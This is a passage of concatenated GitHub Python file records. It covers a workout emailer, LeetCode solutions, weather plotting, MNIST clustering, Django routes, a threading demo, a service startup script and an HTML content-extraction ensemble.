1.5]],\n [50, 'reverse crunches', [30, 45, 1, 1.5]],\n [50, 'side crunches (switch @ half)', [1, 1.5, 2]],\n [50, 'cross crunches', [30, 45, 1, 1.5]],\n [50, 'sit-ups', [30, 45, 1, 1.5]],\n [50, 'peguins', [30, 45, 1, 1.5]],\n [50, 'bicycles', [30, 45, 1, 1.5]],\n [50, 'russian twists', [30, 45, 1, 1.5]],\n [50, 'mountain climbers', [30, 45, 1, 1.5]],\n [50, 'hallow hold', [30, 45, 1, 1.5]],\n [50, 'superman', [30, 45, 1, 1.5]],\n [50, 'pacer pushups', [30, 45, 1, 1.5]],\n [50, 'flutterkicks', [30, 45, 1, 1.5]],\n [50, 'leg lifts', [30, 45, 1, 1.5]],\n [50, 'side leg lifts (switch @ half)', [1, 1.5, 2]],\n [50, 'in-n-outs', [30, 45, 1, 1.5]],\n [50, 'iron cross', [30, 45, 1, 1.5]],\n [50, 'straight arm sit-ups', [30, 45, 1, 1.5]],\n [50, 'pilates 100', [30, 45, 1, 1.5]],\n]\n\ndef pick_exercises():\n total_time = 0\n exercise_list = []\n chosen_indexes = []\n\n while total_time < MIN_MINUTES:\n # pick an index of an exercise NOT based on weight\n chosen_index = random.randrange(len(EXERCISES))\n # if the chosen index has already been picked, choose again\n while chosen_index in chosen_indexes:\n chosen_index = random.randrange(len(EXERCISES))\n exercise_name = EXERCISES[chosen_index][1]\n\n # add the chosen exercise index to the list\n chosen_indexes.append(chosen_index)\n\n # choose the length of time for this exercise from the time list\n exercise_len_index = random.randrange(len(EXERCISES[chosen_index][2]))\n exercise_len = EXERCISES[chosen_index][2][exercise_len_index]\n\n # add the suffix to the string\n if exercise_len < 10:\n suffix = \" Minutes\"\n else:\n suffix = \" Seconds\"\n\n # add the exercise name & time to the list\n temp_array = []\n temp_array.append(exercise_name)\n temp_array.append((str(exercise_len) + suffix))\n exercise_list.append(temp_array)\n\n # add the exercise len to the total time\n if exercise_len > 10:\n if exercise_len == 30:\n total_time = total_time + .5\n elif exercise_len == 45:\n total_time = total_time + .75\n else:\n total_time = total_time + exercise_len\n\n return [exercise_list, total_time]\n \n\n# fills the passed string with spaces until it reaches the given length\ndef fill_blank_space(string, length):\n while len(string) < length:\n string = string + \" \"\n return string\n\n# formats the generated list to a more redable list\ndef format_email_list(exercise_list, total_mins):\n # find the exercise with the longest string\n longest_str_len = 0\n for exercise in exercise_list:\n if len(exercise[0]) > longest_str_len:\n longest_str_len = len(exercise[0])\n \n # add all exercises to the formatted list\n formatted_list = fill_blank_space(\"Exercises\", longest_str_len) + \" | Time \\n\"\n\n # create the spacer\n spacer_str = \"\"\n while len(spacer_str) < (len(formatted_list) -1 ): # -1 for the \\n char\n spacer_str = spacer_str + \"-\"\n formatted_list = formatted_list + spacer_str + \"\\n\"\n\n # add the exercises\n for ex in exercise_list:\n formatted_list = formatted_list + fill_blank_space(ex[0], longest_str_len) + \" | \" + ex[1] + \" \\n\"\n\n # add the total\n formatted_list = formatted_list + spacer_str + \"\\n\"\n formatted_list = formatted_list + fill_blank_space(\"Total Minutes\", longest_str_len) + \" | \" + str(total_mins) + \" Minutes\"\n\n return formatted_list\n\n# check if there is an \"email_list.csv\", otherwise create one\ndef load_eamils():\n # TODO check current dir for \"email_list.csv\"\n\n # TODO create a blank email_list.csv\n\n # otherwise get the list of emails\n with open('email_list.csv') as emailCSV:\n csvReader = csv.reader(emailCSV)\n # should only be one row\n emailList = []\n for row in csvReader:\n emailList.append(row[0])\n return emailList\n\n# save the email body to a txt file, return the date as the subject\ndef save_email_body(formatted_workout):\n # get todays date & format it\n now = datetime.datetime.now()\n # TODO - fix days like \"02nd\" -> 2nd\n # get the ending of the date # ('st', 'nd', 'rd' or 'th')\n if now.strftime('%d')[-1] == \"1\":\n date_end = \"st\"\n elif now.strftime('%d')[-1] == \"2\":\n date_end = \"nd\"\n elif now.strftime('%d')[-1] == \"3\":\n date_end = \"rd\"\n else:\n date_end = \"th\"\n date_str = now.strftime('7MA: %A, %B %d') + date_end\n\n # save the email body to a file\n email_body_file=open(EMAIL_BODY_FILENAME,'w')\n email_body_file.write(formatted_workout)\n email_body_file.close()\n\n return date_str\n\n\ndef send_emails(email_list, subject):\n for email in email_list:\n # call the sender script\n os.system('cat ./' + EMAIL_BODY_FILENAME + ' | mutt -s \"' + subject + '\" ' + email)\n\n\ndef main():\n \n # generate the exercises\n random.seed(a=None, version=2)\n exercise_list_time = pick_exercises()\n \n # format the exercises to look pretty\n exercise_list = exercise_list_time[0]\n total_time = exercise_list_time[1]\n formatted_list = format_email_list(exercise_list, total_time)\n subj = save_email_body(formatted_list)\n\n\n # check if there is an email list file in the folder\n path = os.getcwd() + \"\\\\email_list.csv\"\n if os.path.exists(path):\n \n # import the emails\n email_list = load_eamils()\n\n send_emails(email_list, subj)\n\n else:\n print(formatted_list)\n \n return 0\n\nmain()\n","repo_name":"Ellniot/7ma-generator","sub_path":"7ma_generator.py","file_name":"7ma_generator.py","file_ext":"py","file_size_in_byte":6531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"33187536902","text":"\"\"\"\n\nIn LLP world, there is a hero called Teemo and his attacking can make his enemy Ashe be in poisoned condition. Now, given the Teemo's attacking ascending time series towards Ashe and the poisoning time duration per Teemo's attacking, you need to output the total time that Ashe is in poisoned condition.\n\nYou may assume that Teemo attacks at the very beginning of a specific time point, and makes Ashe be in poisoned condition immediately.\n\nExample 1:\nInput: [1,4], 2\nOutput: 4\nExplanation: At time point 1, Teemo starts attacking Ashe and makes Ashe be poisoned immediately. \nThis poisoned status will last 2 seconds until the end of time point 2. \nAnd at time point 4, Teemo attacks Ashe again, and causes Ashe to be in poisoned status for another 2 seconds. \nSo you finally need to output 4.\nExample 2:\nInput: [1,2], 2\nOutput: 3\nExplanation: At time point 1, Teemo starts attacking Ashe and makes Ashe be poisoned. \nThis poisoned status will last 2 seconds until the end of time point 2. \nHowever, at the beginning of time point 2, Teemo attacks Ashe again who is already in poisoned status. \nSince the poisoned status won't add up together, though the second poisoning attack will still work at time point 2, it will stop at the end of time point 3. \nSo you finally need to output 3.\n\n\n\"\"\"\n\"\"\"题目很长,不过很容易解决,感觉是个简单题\"\"\"\n\nclass Solution(object):\n def findPoisonedDuration(self, timeSeries, duration):\n \"\"\"\n :type timeSeries: List[int]\n :type duration: int\n :rtype: int\n \"\"\"\n if not timeSeries:\n return 0\n count = 0\n for i in range(1, len(timeSeries)):\n if timeSeries[i] - timeSeries[i - 1] < duration:\n count += (timeSeries[i] - timeSeries[i - 1])\n else:\n count += duration\n count += duration\n return count\n\n","repo_name":"princewen/leetcode_python","sub_path":"sort_by_myself/meidum/数组/495. Teemo Attacking.py","file_name":"495. Teemo Attacking.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","stars":396,"dataset":"github-code","pt":"39"} +{"seq_id":"7445893941","text":"# Definition for an interval.\nclass Interval(object):\n def __init__(self, s=0, e=0):\n self.start = s\n self.end = e\n\nclass Solution(object):\n def insert(self, intervals, newInterval):\n \"\"\"\n :type intervals: List[Interval]\n :type newInterval: Interval\n :rtype: List[Interval]\n \"\"\"\n parts = toMergedPart, firstPart, lastPart = [],[],[]\n mergedInterval = newInterval\n\n for item in intervals:\n if item.start > newInterval.end:\n lastPart.append(item)\n elif item.end < newInterval.start:\n firstPart.append(item)\n else:\n toMergedPart.append(item)\n\n # concise, however a little bit tricky way. Equals the for loop before\n # for item in intervals:\n # parts[(item.end < newInterval.start) - (item.start > newInterval.end)].append(item)\n\n if toMergedPart:\n mergedInterval = Interval(min(toMergedPart[0].start, newInterval.start), max(toMergedPart[-1].end, newInterval.end))\n\n return firstPart + [mergedInterval] + lastPart\n\nresult = Solution().insert([Interval(1,2), Interval(3,5), Interval(6,7), Interval(8,10), Interval(12,16)],Interval(4,9))\n","repo_name":"chenbin11200/AlgorithmInPython","sub_path":"src/_57_Insert_Interval.py","file_name":"_57_Insert_Interval.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"70541902514","text":"import csv\r\nfrom datetime import datetime, timedelta # Import timedelta from the datetime module\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.dates import DateFormatter\r\nimport numpy as np\r\n\r\n\r\n# Check available styles\r\n# print(plt.style.available):\r\n\r\n#['Solarize_Light2', '_classic_test_patch', '_mpl-gallery', '_mpl-gallery-nogrid', 'bmh', 'classic', 'dark_background',\r\n# 'fast', 'fivethirtyeight', 'ggplot', 'grayscale', 'seaborn-v0_8', 'seaborn-v0_8-bright', 'seaborn-v0_8-colorblind', '\r\n# seaborn-v0_8-dark', 'seaborn-v0_8-dark-palette', 'seaborn-v0_8-darkgrid', 'seaborn-v0_8-deep', 'seaborn-v0_8-muted',\r\n# 'seaborn-v0_8-notebook', 'seaborn-v0_8-paper', 'seaborn-v0_8-pastel', 'seaborn-v0_8-poster', 'seaborn-v0_8-talk',\r\n# 'seaborn-v0_8-ticks', 'seaborn-v0_8-white', 'seaborn-v0_8-whitegrid', 'tableau-colorblind10']\r\n\r\n\r\n# Data obtained from: https://www.ncei.noaa.gov/access/past-weather/75039\r\n# Open the CSV file and read the header row\r\nfilename = 'data/Weather_ZIP_75039.csv'\r\nwith open(filename) as f:\r\n reader = csv.reader(f)\r\n header_row = next(reader)\r\n\r\n# for index, column_header in enumerate(header_row):\r\n# print(index, column_header)\r\n # 0\r\n # STATION\r\n # 1\r\n # NAME\r\n # 2\r\n # DATE\r\n # 3\r\n # AWND\r\n # 4\r\n # DAPR\r\n # 5\r\n # EVAP\r\n # 6\r\n # MDPR\r\n # 7\r\n # MNPN\r\n # 8\r\n # MXPN\r\n # 9\r\n # PRCP\r\n # 10\r\n # SNOW\r\n # 11\r\n # SNWD\r\n # 12\r\n # TAVG\r\n # 13\r\n # TMAX\r\n # 14\r\n # TMIN\r\n # 15\r\n # TOBS\r\n # 16\r\n # WDF2\r\n # 17\r\n # WDF5\r\n # 18\r\n # WDMV\r\n # 19\r\n # WESD\r\n # 20\r\n # WESF\r\n # 21\r\n # WSF2\r\n # 22\r\n # WSF5\r\n # 23\r\n # WT01\r\n # 24\r\n # WT02\r\n # 25\r\n # WT03\r\n # 26\r\n # WT04\r\n # 27\r\n # WT05\r\n # 28\r\n # WT06\r\n # 29\r\n # WT08\r\n\r\n # Create empty lists to store temperature data\r\n highs = [] # To store high temperatures\r\n lows = [] # To store low temperatures\r\n dates = [] # To store dates\r\n\r\n with open(filename) as f:\r\n reader = csv.reader(f)\r\n header_row = next(reader)\r\n\r\n for row in reader:\r\n # Check if the row has at least 14 elements (including the 0-based index)\r\n if len(row) > 13 and row[13]:\r\n high = int(row[13])\r\n highs.append(high)\r\n if len(row) > 14 and row[14]:\r\n low = int(row[14])\r\n lows.append(low)\r\n # Check if the row has at least 3 elements (including the 0-based index)\r\n if len(row) > 2:\r\n date = datetime.strptime(row[2], '%Y-%m-%d')\r\n dates.append(date)\r\n\r\n# Handle the case when the value is empty (e.g., you can skip it or assign a default value)\r\n\r\n# # Now you can work with the 'highs' list\r\n# print(highs)\r\n# # # [77, 76, 67, 56, 60, 69, 64, 60, 68, 81, 82, 67, 55, 62, 69, 74, 76, 70, 58, 61, 56, 52, 53, 47, 42, 53, 60, 66, 60, 29,\r\n# # # 27, 30, 33, 51, 57, 70, 72, 63, 48, 63, 48, 53, 65, 65, 70, 77, 63, 49, 53, 69, 78, 87, 79, 67, 48, 48, 76, 74, 83, 72,\r\n# # # 81,.............]\r\n#\r\n\r\n# print(lows)\r\n#\r\n# [53, 63, 47, 38, 36, 46, 48, 38, 42, 51, 57, 42, 34, 38, 46, 60, 51, 56, 42, 42, 45, 38, 34, 33, 35, 31, 36, 46, 29, 24,\r\n# 24, 26, 30, 29, 33, 39, 53, 47, 38, 34, 36, 34, 35, 46, 51, 48, 34, 30, 34, 45, 55, 61, 58, 43, 39, 37, 47, 53, 52, 59,\r\n# 53, 45, 46, 54, 57, 60, 51, 53, 45, 56, 50, 45, 42, 46, 42, 38, 39, 33, 39, 49, 66, 68, 60, 52, 50, 46, 47, 49, 59, 65,\r\n# 57, 59, 64, 71, 50, 49, 51, 54, 54, 56, 53, 57, .........\r\n\r\n# print(dates)\r\n#\r\n# #[datetime.datetime(2023, 1, 1, 0, 0), datetime.datetime(2023, 1, 2, 0, 0), datetime.datetime(2023, 1, 3, 0, 0),......\r\n\r\n\r\n\r\n\r\n# Convert the lists to NumPy arrays for efficient processing\r\ndates = np.array(dates)\r\nhighs = np.array(highs)\r\nlows = np.array(lows)\r\n\r\n\r\n# Create a mask to select dates from January 1, 2023, to September 30, 2023\r\nmask = (dates >= datetime(2023, 1, 1)) & (dates <= datetime(2023, 9, 30))\r\n\r\n# Calculate the numerical representation of dates\r\nstart_date = datetime(2023, 1, 1)\r\nnumerical_dates = np.array([(date - start_date).days for date in dates[mask]])\r\n\r\n# Create a smooth range of numerical dates with High Temp\r\nsmooth_numerical_dates_high = np.linspace(0, (datetime(2023, 9, 30) - start_date).days, len(highs[mask]))\r\n\r\n# Create a smooth range of numerical dates with Low Temp\r\nsmooth_numerical_dates_low = np.linspace(0, (datetime(2023, 9, 30) - start_date).days, len(lows[mask]))\r\n\r\n# Interpolate high temperatures\r\nsmooth_highs = np.interp(smooth_numerical_dates_high, numerical_dates, highs[mask])\r\n\r\n# Interpolate low temperatures\r\nsmooth_lows = np.interp(smooth_numerical_dates_low, numerical_dates, lows[mask])\r\n\r\n# Convert numerical dates back to datetime with High Temp\r\nsmooth_dates_high = [start_date + timedelta(days=int(date)) for date in smooth_numerical_dates_high]\r\n\r\n# Convert numerical dates back to datetime with Low Temp\r\nsmooth_dates_low = [start_date + timedelta(days=int(date)) for date in smooth_numerical_dates_low]\r\n\r\n\r\n# Create a smooth line plot of high and low temperatures from January 1, 2023, to September 30, 2023\r\nplt.style.use('ggplot')\r\n\r\n# Define the figure size (width, height) in inches\r\nfig, ax = plt.subplots(figsize=(12, 8)) # Adjust the width and height as needed\r\n\r\n# Plot high and low temperatures\r\nax.plot(smooth_dates_high, smooth_highs, color='r', alpha=0.5, label='High')\r\nax.plot(smooth_dates_low, smooth_lows, color='b', alpha=0.5, label='Low')\r\n\r\n# Fill the shaded region between high and low temperatures\r\nax.fill_between(smooth_dates_high, smooth_highs, smooth_lows, color='gray', alpha=0.1, label='High-Low Range')\r\n\r\n# Set plot title, labels, and grid\r\nplt.title('Temperatures Irving, TX 2023', fontsize=24)\r\nplt.xlabel('Dates', fontsize=20)\r\nfig.autofmt_xdate()\r\nplt.ylabel('Temperatures (°F)', fontsize=20)\r\nplt.grid(True)\r\n\r\n# Format the x-axis to display dates in the \"YYYY-MM-DD\" format\r\ndate_formatter = DateFormatter('%Y-%m-%d')\r\nplt.gca().xaxis.set_major_formatter(date_formatter)\r\nplt.xticks(rotation=45)\r\n\r\n# Add a legend to the plot\r\nplt.legend(loc='upper right')\r\n\r\nplt.show()","repo_name":"luisgil1989/Irving-Weather-analysis-2023","sub_path":"Irving_High_Low_Temp.py","file_name":"Irving_High_Low_Temp.py","file_ext":"py","file_size_in_byte":6216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"41234965262","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport scipy.sparse\n\n\n# In[2]:\n\n\n# Import MNIST Dataset\nfrom sklearn.datasets import fetch_mldata\nmnist=fetch_mldata('MNIST original')\nmnist\n\n\n# In[3]:\n\n\nX,y=mnist[\"data\"],mnist[\"target\"]\n\n\n# In[4]:\n\n\n#K means on the MNIST dataset\nfrom sklearn.cluster import KMeans\nkmeans = KMeans(n_clusters = 10, random_state = 111)\nkmeans.fit(X)\n\n\n# In[5]:\n\n\ncorrect = 0\nfor i in range(len(X)):\n predict_me = np.array(X[i].astype(float))\n predict_me = predict_me.reshape(-1, len(predict_me))\n prediction = kmeans.predict(predict_me)\n if prediction[0] == y[i]:\n correct += 1\nprint(correct/len(X))\n\n\n# In[6]:\n\n\n# Use PCA (Principal Component Analysis) to reduce \n# the dataset’s dimensionality, with an explained variance ratio of 85%. \nfrom sklearn.decomposition import PCA\n\nprecent_of_variance_explained = .85\npca = PCA(n_components=precent_of_variance_explained)\npca_data = pca.fit_transform(X)\npca.fit(X)\nX_pca = pca.transform(X)\nprint(\"original shape: \", X.shape)\nprint(\"transformed shape:\", X_pca.shape)\n\n\n# In[8]:\n\n\n#K means on the dimentionality reduced MNIST dataset\nkmeans = KMeans(n_clusters = 10, random_state = 111)\nkmeans.fit(X_pca)\n\n\n# In[9]:\n\n\ncorrect = 0\nfor i in range(len(X_pca)):\n predict_me = np.array(X_pca[i].astype(float))\n predict_me = predict_me.reshape(-1, len(predict_me))\n prediction = kmeans.predict(predict_me)\n if prediction[0] == y[i]:\n correct += 1\nprint(correct/len(X_pca))\n\n","repo_name":"iremkaraoglu/MNISTdataset","sub_path":"K-means.py","file_name":"K-means.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"73510357873","text":"from django.urls import path\nfrom . import views\nurlpatterns = [\n path('', views.home, name='home'),\n path('level1/', views.level1, name='level1'),\n path('level2/', views.level2, name='level2'),\n path('level3/', views.level3, name='level3'),\n path('level4/', views.level4, name='level4'),\n path('level5/', views.level5, name='level5'),\n path('level6/', views.level6, name='level6'),\n path('level7/', views.level7, name='level7'),\n path('youlost/', views.youlost, name='youlost'),\n path('youwon/', views.youwon, name='youwon'),\n path('prelevel1/', views.prelevel1, name='prelevel1'),\n path('prelevel2/', views.prelevel2, name='prelevel2'),\n path('prelevel3/', views.prelevel3, name='prelevel3'),\n path('prelevel4/', views.prelevel4, name='prelevel4'),\n path('prelevel5/', views.prelevel5, name='prelevel5'),\n path('prelevel6/', views.prelevel6, name='prelevel6'),\n path('prelevel6/', views.prelevel6, name='prelevel6'),\n path('prelevel7/', views.prelevel7, name='prelevel7'),\n]\n#changes\nurlpatterns += [path('level4/', views.level4, kwargs = {'verify': 'train1'})]\nurlpatterns += [path('level4/', views.level4, kwargs = {'verify': 'train2'})]","repo_name":"Hitstar53/Code-Red","sub_path":"codered/levels/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"39"} +{"seq_id":"34884717236","text":"import threading\nimport time\nclass MyThread(threading.Thread):\n def __init__(self, thread_name = None):\n threading.Thread.__init__(self)\n self.setName(thread_name)\n def run(self):\n threadLock.acquire()\n #获得锁之后再运行\n print (\"This is thread \" + self.getName())\n for i in range(3):\n time.sleep(1)\n print (str(i))\n print (self.getName() + \" is over\")\n threadLock.release()\n #释放锁\nif __name__ == '__main__':\n threadLock = threading.Lock()\n #设置全局锁\n thread1 = MyThread('Thread_1')\n thread2 = MyThread('Thread_2')\n thread1.start()\n thread2.start()","repo_name":"wdwoodee/LearningPython","sub_path":"Threading/Threading_lock.py","file_name":"Threading_lock.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"1257148286","text":"from math import ceil\n\nfen_name = input()\nbudget = float(input())\nbeer_bottles = int(input())\nchips_pacs = int(input())\n\n\none_chips_price = (beer_bottles * 1.2) * 0.45\n\nchips_price = ceil(one_chips_price * chips_pacs)\nbeer_price = beer_bottles * 1.2\ntotal_price = beer_price + chips_price\n\ndifference = abs(total_price - budget)\n\nif budget >= total_price:\n print(f\"{fen_name} bought a snack and has {difference:.2f} leva left.\")\nelse:\n print(f\"{fen_name} needs {difference:.2f} more leva!\")\n","repo_name":"Lubodim/Programing-Basic-with-Python","sub_path":"More/2022.08.21/beer_and_chips.py","file_name":"beer_and_chips.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"31834001595","text":"import subprocess\nimport sys\nfrom util.alembic_fix import check_revision\nfrom util.constants import DOCKER_COMPOSE\nfrom util.docker_helper import (\n create_jwks_secret_if_not_existing,\n check_and_pull_exec_env_images,\n wait_until_refinery_is_ready,\n wait_until_postgres_migration_is_exited,\n)\nfrom util.postgres_helper import (\n create_database_dump,\n update_db_versions,\n wait_until_postgres_is_ready,\n)\nfrom util.template_processor import process_docker_compose_template\nfrom util.update_helper import (\n is_any_service_version_changed,\n updater_service_update_to_newest,\n wait_until_db_and_updater_service_are_ready,\n)\n\nrefinery_dir = sys.argv[1]\nminio_endpoint = sys.argv[2]\n\nif wait_until_refinery_is_ready(timeout=1):\n print(\"Refinery is already running!\", flush=True)\n sys.exit(0)\n\nprint(\"Creating docker-compose.yml file...\", flush=True)\nprocess_docker_compose_template(refinery_dir, minio_endpoint)\nprint(\"Creating jwks.json secret if not existing...\", flush=True)\ncreate_jwks_secret_if_not_existing()\nprint(\"Checking and pulling exec env images...\", flush=True)\ncheck_and_pull_exec_env_images()\n\nprint(\"Starting postgres container...\", flush=True)\nsubprocess.call(\n [\"docker-compose\", \"-f\", DOCKER_COMPOSE, \"up\", \"-d\", \"graphql-postgres\"]\n)\nprint(\"Waiting for postgres to be ready...\", flush=True)\nif wait_until_postgres_is_ready():\n check_revision()\n\nrun_updates = is_any_service_version_changed()\nif run_updates:\n success_db_dump = create_database_dump()\n if not success_db_dump:\n print(\"Database dump failed!\", flush=True)\n print(\"Please contact the developers!\", flush=True)\n sys.exit(0)\n\nprint(\"Starting all containers...\", flush=True)\nsubprocess.call([\"docker-compose\", \"-f\", DOCKER_COMPOSE, \"up\", \"-d\"])\n\nwait_until_postgres_migration_is_exited()\n\nwait_until_db_and_updater_service_are_ready()\nif run_updates:\n print(\"Service versions have changed.\", flush=True)\n print(\"Trigger the updater service to run database updates...\", flush=True)\n success, output = updater_service_update_to_newest()\n if success:\n print(\"Update successful!\", flush=True)\n else:\n print(\"Update failed!\", flush=True)\n print(output, flush=True)\n\nprint(\"Checking if all services are ready...\", flush=True)\nif wait_until_refinery_is_ready():\n print(\"Refinery is ready!\", flush=True)\nelse:\n print(\"Refinery is not ready!\", flush=True)\n\n# write current versions to db\nupdate_db_versions()\n\nprint(\"UI: http://localhost:4455/refinery/\")\nprint(f\"Minio: {minio_endpoint}\")\nprint(\"MailHog: http://localhost:4436/\")\n","repo_name":"code-kern-ai/alfred","sub_path":"start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"30445958992","text":"from ConEx_line import ConEx_line\nfrom ConEx_token import ConEx_token\nfrom ConEx_dom import ConEx_dom\nfrom process import Preprocess\n\nimport re\nimport numpy as np\nimport itertools\nimport lxml.html\n\nclass ConEx(object):\n \"\"\"docstring for ConEx\"\"\"\n def __init__(self, line_algos, token_algos, dom_algos):\n super(ConEx, self).__init__()\n self.html = None\n self.method = '1-step'\n self.conex_line = ConEx_line(line_algos)\n self.conex_token = ConEx_token(token_algos)\n self.conex_dom = ConEx_dom(dom_algos)\n\n def process_html(self, html, tidy=False):\n self.html = html\n self.html = self.html.replace(' ', ' ')\n self.html = self.html.replace('&', '&')\n self.html = self.html.replace(' ', '')\n self.html = self.html.replace('\\r', ' ')\n for m in re.finditer('<[^<>]*[\\n]+[^<>]*>', self.html):\n start_pos, end_pos = m.span()\n self.html = self.html[:start_pos] + self.html[start_pos:end_pos].replace('\\n',' ') + self.html[end_pos:]\n self.html = lxml.html.tostring(lxml.html.fromstring(self.html), pretty_print=True).decode('iso-8859-1')\n m = re.search(r\"\", Preprocess.clean(self.html, tidy), re.DOTALL)\n html_body = \"\"\n if m:\n html_body = m.group()\n else:\n raise Exception(\"No body tag in this HTML document\")\n \n self.conex_token.process_html(html_body, tidy=tidy, body_only=True)\n self.conex_line.process_html(html_body, tidy=tidy, body_only=True)\n self.conex_dom.process_html(html_body, tidy=tidy, body_only=True)\n\n def run_algorithms(self):\n self.conex_line.predict_line_label()\n self.conex_token.predict_token_label()\n self.conex_dom.predict_node_label()\n self.conex_line.predict_line_prob()\n self.conex_token.predict_token_prob()\n self.conex_dom.predict_node_prob()\n\n def predict_label(self):\n if self.method == '1-step':\n line_labels = self.conex_line.labels\n token_labels = self.conex_token.labels\n dom_labels = self.conex_dom.labels\n # convert line -> token\n line_labels_token = [\n [labels[idx] \n for idx, line in enumerate(self.conex_line.tokens_by_line)\n for token in line if not (token.startswith('<') and token.endswith('>')) and token.strip()]\n for labels in line_labels]\n # convert dom -> token\n dom_labels_token = []\n for labels in self.conex_dom.labels:\n labels_token = []\n for idx, node in enumerate(self.conex_dom.body.iter()):\n if node.text and node.text.strip():\n for token in node.text.strip().split():\n labels_token.append(labels[idx])\n if node.tail and node.tail.strip():\n for token in node.tail.strip().split():\n labels_token.append(labels[idx])\n dom_labels_token.append(labels_token)\n #print(np.array(token_labels).shape, np.array(line_labels_token).shape, np.array(dom_labels_token).shape)\n # ensemble\n combined_label = (np.random.choice([1e-7, -1e-7], np.array(token_labels).shape[1]) + \n np.average(np.vstack([\n np.array(token_labels), \n np.array(line_labels_token),\n np.array(dom_labels_token)]), axis=0)\n ) > 0.5\n\n elif self.method == '2-steps':\n line_label = self.conex_line.combined_label\n dom_label = self.conex_dom.combined_label\n token_label = self.conex_token.combined_label\n # convert line -> token\n line_label_token = [line_label[idx]\n for idx, line in enumerate(self.conex_line.tokens_by_line)\n for token in line if not (token.startswith('<') and token.endswith('>')) and token.strip()]\n \n # convert dom -> token\n dom_label_token = []\n for idx, node in enumerate(self.conex_dom.body.iter()):\n if node.text and node.text.strip():\n for token in node.text.strip().split():\n dom_label_token.append(dom_label[idx])\n if node.tail and node.tail.strip():\n for token in node.tail.strip().split():\n dom_label_token.append(dom_label[idx])\n # ensemble\n combined_label = (np.random.choice([1e-7, -1e-7], len(token_label)) + \n np.average([np.array(token_label),\n np.array(line_label_token),\n np.array(dom_label_token)], axis=0)\n ) > 0.5\n else:\n raise Exception('Wrong method argument: ' + self.method)\n\n return combined_label\n\n def predict_prob(self, merge='avg'):\n if self.method == '1-step':\n line_probs = self.conex_line.probs\n token_probs = self.conex_token.probs\n dom_probs = self.conex_dom.probs\n # convert line -> token\n line_probs_token = [\n [probs[idx] \n for idx, line in enumerate(self.conex_line.tokens_by_line)\n for token in line if not (token.startswith('<') and token.endswith('>')) and token.strip()]\n for probs in line_probs]\n # convert dom -> token\n dom_probs_token = []\n for probs in self.conex_dom.probs:\n probs_token = []\n for idx, node in enumerate(self.conex_dom.body.iter()):\n if node.text and node.text.strip():\n for token in node.text.strip().split():\n probs_token.append(probs[idx])\n if node.tail and node.tail.strip():\n for token in node.tail.strip().split():\n probs_token.append(probs[idx])\n dom_probs_token.append(probs_token)\n # ensemble\n if merge == 'avg':\n merge_func = np.average\n elif merge == 'max':\n merge_func = np.max\n else:\n raise Exception(\"Wrong merge argument: \" + merge)\n combined_prob = merge_func(np.vstack([\n np.array(token_probs), \n np.array(line_probs_token),\n np.array(dom_probs_token)]), axis=0)\n\n elif self.method == '2-steps':\n line_prob = self.conex_line.combined_prob\n dom_prob = self.conex_dom.combined_prob\n token_prob = self.conex_token.combined_prob\n # convert line -> token\n line_prob_token = [line_prob[idx]\n for idx, line in enumerate(self.conex_line.tokens_by_line)\n for token in line if not (token.startswith('<') and token.endswith('>')) and token.strip()]\n \n # convert dom -> token\n dom_prob_token = []\n for idx, node in enumerate(self.conex_dom.body.iter()):\n if node.text and node.text.strip():\n for token in node.text.strip().split():\n dom_prob_token.append(dom_prob[idx])\n if node.tail and node.tail.strip():\n for token in node.tail.strip().split():\n dom_prob_token.append(dom_prob[idx])\n # ensemble\n if merge == 'avg':\n merge_func = np.average\n elif merge == 'max':\n merge_func = np.max\n else:\n raise Exception(\"Wrong merge argument: \" + merge)\n combined_prob = merge_func([np.array(token_prob),\n np.array(line_prob_token),\n np.array(dom_prob_token)], axis=0)\n else:\n raise Exception('Wrong method argument: ' + self.method)\n\n return combined_prob\n\n def filter_content(self, merge='vote'):\n if merge == 'vote':\n pred = self.predict_label()\n words = filter(lambda token:not(token.startswith('<') and token.endswith('>')), self.conex_token.tokens)\n ret = list(itertools.compress(words, pred))\n else:\n prob = self.predict_prob(merge)\n words = filter(lambda token:not(token.startswith('<') and token.endswith('>')), self.conex_token.tokens)\n ret = list(itertools.compress(words, prob > 0.5))\n return ret\n\n def filter_content_all(self):\n ret_all = {}\n ret_line = self.conex_line.filter_content_all()\n ret_token = self.conex_token.filter_content_all()\n ret_dom = self.conex_dom.filter_content_all()\n ret_all.update(ret_line)\n ret_all.update(ret_token)\n ret_all.update(ret_dom)\n self.method = '1-step'\n ret_all['all-vote-' + self.method] = self.filter_content('vote')\n ret_all['all-avg-' + self.method] = self.filter_content('avg')\n ret_all['all-max-' + self.method] = self.filter_content('max')\n self.method = '2-steps'\n ret_all['all-vote-' + self.method] = self.filter_content('vote')\n ret_all['all-avg-' + self.method] = self.filter_content('avg')\n ret_all['all-max-' + self.method] = self.filter_content('max')\n return ret_all\n \n\n\n ","repo_name":"Keson96/ConEx","sub_path":"ConEx.py","file_name":"ConEx.py","file_ext":"py","file_size_in_byte":9813,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"18347858840","text":"\"\"\"Evaluates the model\"\"\"\n\nimport argparse\nimport logging\nimport os\nimport numpy as np\nimport torch\nfrom src.tc import utils\nfrom 